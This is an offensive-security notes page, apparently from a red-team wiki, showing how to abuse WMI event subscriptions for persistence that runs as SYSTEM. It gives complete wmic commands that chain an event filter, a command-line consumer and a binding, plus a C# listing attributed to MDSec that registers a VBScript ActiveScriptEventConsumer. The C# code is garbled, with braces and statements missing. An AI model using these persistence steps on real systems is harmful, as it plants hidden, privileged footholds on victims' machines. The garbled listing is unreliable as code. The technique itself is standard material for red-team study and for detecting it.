WMI Event Subscriptions

WMI Event subscriptions can be abused for persistence with payloads that will run with SYSTEM privileges. WMI eventing can be used on action to almost any system event, this includes: logins, registry, file activity etc.

There are 3 things to remember about WMI

  1. EventFilter: Action that triggers the payload

  2. EventConsumer: Where the payload will be stored •

  3. FilterToConsumerBinding: Binds the “EventFilter” and “EventConsumer”

This can be done with the wmic utility:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="INFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="Select * From __InstanceCreationEvent Within 15 Where (TargetInstance Isa 'Win32_Process' And TargetInstance.Name = 'notepad.exe')"

The above command will kickoff if there is a instance of x32 notepad.exe in memory.

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="NAME", ExecutablePath="C:\Windows\System32\calc.exe",CommandLineTemplate="C:\Windows\System32\calc.exe"

The above command is what to run if notepad.exe is executed.

wmic /NAMESPACE:"\root\subscription" PATH FilterToConsumerBinding CREATE Filter="EventFilter.Name=\"INFilter\"", Consumer="CommandLineEventConsumer.Name=\"NAME\""

The above command will bind the “EventFilter” and “EventConsumer” which will achieve persistence everytime an instance of a x32 notepad is executed.

If we run x32 notepad, we will see an instance of calc being ran with SYSTEM privileges.

We can also implement this in other languages like C#(stolen from mdsec)

// COMPLETELY STOLEN FROM HERE: https://github.com/mdsecactivebreach/WMIPersistence/blob/master/WMIPersist.cs
using System;
using System.Text;
using System.Management;

namespace WMIPersistence
    class Program
        static void Main(string[] args)

        static void PersistWMI()
            ManagementObject myEventFilter = null;
            ManagementObject myEventConsumer = null;
            ManagementObject myBinder = null;

            string vbscript64 = "<INSIDE base64 encoded VBS here>";
            string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64));
                ManagementScope scope = new ManagementScope(@"\\.\root\subscription");

                ManagementClass wmiEventFilter = new ManagementClass(scope, new
                ManagementPath("__EventFilter"), null);
                String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +            
        "WHERE TargetInstance ISA \"Win32_Process\" " +           
        "AND TargetInstance.Name = \"notepad.exe\"";

                WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
                myEventFilter = wmiEventFilter.CreateInstance();
                myEventFilter["Name"] = "demoEventFilter";
                myEventFilter["Query"] = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                Console.WriteLine("[*] Event filter created.");

                myEventConsumer =
                new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"),
                myEventConsumer["Name"] = "BadActiveScriptEventConsumer";
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"] = vbscript;

                Console.WriteLine("[*] Event consumer created.");

                myBinder =
                new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"),
                myBinder["Filter"] = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;

                Console.WriteLine("[*] Subscription created");
            catch (Exception e)
            } // END CATCH
        } // END FUNC
    } // END CLASS


Last updated